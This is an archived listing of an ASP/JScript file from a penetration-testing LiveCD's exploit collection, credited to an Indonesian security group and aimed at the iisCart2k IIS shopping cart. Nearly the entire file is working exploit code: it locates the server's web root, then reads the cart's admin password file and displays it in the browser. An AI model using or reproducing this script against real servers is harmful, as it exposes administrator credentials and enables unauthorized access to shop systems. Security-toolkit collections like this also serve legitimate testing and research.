home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / iisCart2k-nice.asp < prev    next >
Encoding:
Text File  |  2005-02-12  |  873 b   |  33 lines
  1. // 1ndonesian Security Team
  2. // http://bosen.net/releases/
  3. //
  4. <% @ Language = JScript %>
  5. <%
  6. function WinPath(absPath) {this.absolutePath = absPath;}
  7. function getAbsPath() {return this.absolutePath;}
  8. WinPath.prototype.getAbsolutePath = getAbsPath;
  9.  
  10. function fileRead(file) {
  11.   var FSO = new ActiveXObject("Scripting.FileSystemObject"), strOut = ""
  12.   var tmp = file, f, g = FSO.GetFile(tmp);
  13.   f = FSO.OpenTextFile(tmp, 1, false);
  14.   strOut = "<PRE STYLE=\"font-size:9pt;\">";
  15.   strOut+= Server.HTMLEncode(f.ReadAll());
  16.   strOut+= "</PRE>";
  17.   f.Close();
  18.   return(strOut);
  19. }
  20.  
  21. var a = new WinPath(Server.Mappath("/"));
  22. var curDir   = a.getAbsolutePath();
  23.  
  24. // You can change these
  25. var admin = curDir + "\\advanced\\admin\\pswd.asp";
  26.  
  27. with (Response) {
  28.   Write("<b>ServerRoot : "+curDir+"<br></b>");
  29.   Write("<b>Admin Info : "+admin+"<br><br></b>");
  30.   Write(fileRead(admin));
  31. }
  32. %>
  33.